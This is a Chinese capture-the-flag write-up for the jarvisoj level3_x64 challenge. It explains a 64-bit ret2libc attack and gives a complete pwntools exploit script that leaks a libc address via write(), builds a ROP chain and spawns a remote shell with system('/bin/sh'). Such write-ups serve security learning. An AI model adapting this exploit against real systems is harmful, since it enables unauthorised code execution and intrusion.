jarvisoj level3_x64

ida打开checksec看一下,开启了nx,不想shellcode什么的了。
反编译一下看看发现write也有,read也有,不过没找到system也没找到'/bin/sh'
给了一个libc链接库,打开看看system也有,'bin/sh'也有
感觉思路应该和level3差不多,只不过变成了64位的传参。

总体思路,利用write函数打印出read在got表中的真实地址,然后利用libc中的偏移来求出system和bin/sh的地址,构造system('/bin/sh')来得到shell

jarvisoj level3_x64_第1张图片
ROPgadget --binary level3_x64 --only 'pop|ret'

好的我们找到了前两个参数的地址!rdi,rsi,第三个我们默认就够了
rdi = 0x4006b3
rsi = 0x4006b1

64位传参数顺序 参数1-6先进寄存器,后面和32位是一样的。
调用函数读的是plt表第一次时候老是用got表。。。
还有一点就是说要看一下rdx寄存器的值和8的大小相比较,发现rdx寄存器的值是大于8的,所以就不用传read的第三个参数了。
脚本

from pwn import *

# p = process('./level3_x64')
p = remote("pwn2.jarvisoj.com", 9883)

elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

rdi = 0x4006b3 
rsi = 0x4006b1
#ROPgadget --binary level3_x64 --only 'pop|ret'

func_addr = elf.symbols['vulnerable_function'] 
write_plt = elf.plt['write']  
read_got = elf.got['read']

payload = 'A' * 0x80 + 'B' * 0x08
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(read_got) + p64(0)
payload += p64(write_plt) + p64(func_addr)

p.recvuntil('Input:\n')
p.sendline(payload)

read_addr = u64(p.recv(8))
# print 'read' + hex(read_addr)

p.recvuntil('Input:\n')

binsh = libc.search('/bin/sh').next()
system = libc.symbols['system']
read = libc.symbols['read']

offset = read_addr - read
binsh_addr = binsh + offset
system_addr = system + offset

payload2 = 'A' * 0x80 + 'B' * 0x08
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(func_addr)

p.sendline(payload2)
p.interactive()

你可能感兴趣的:(jarvisoj level3_x64)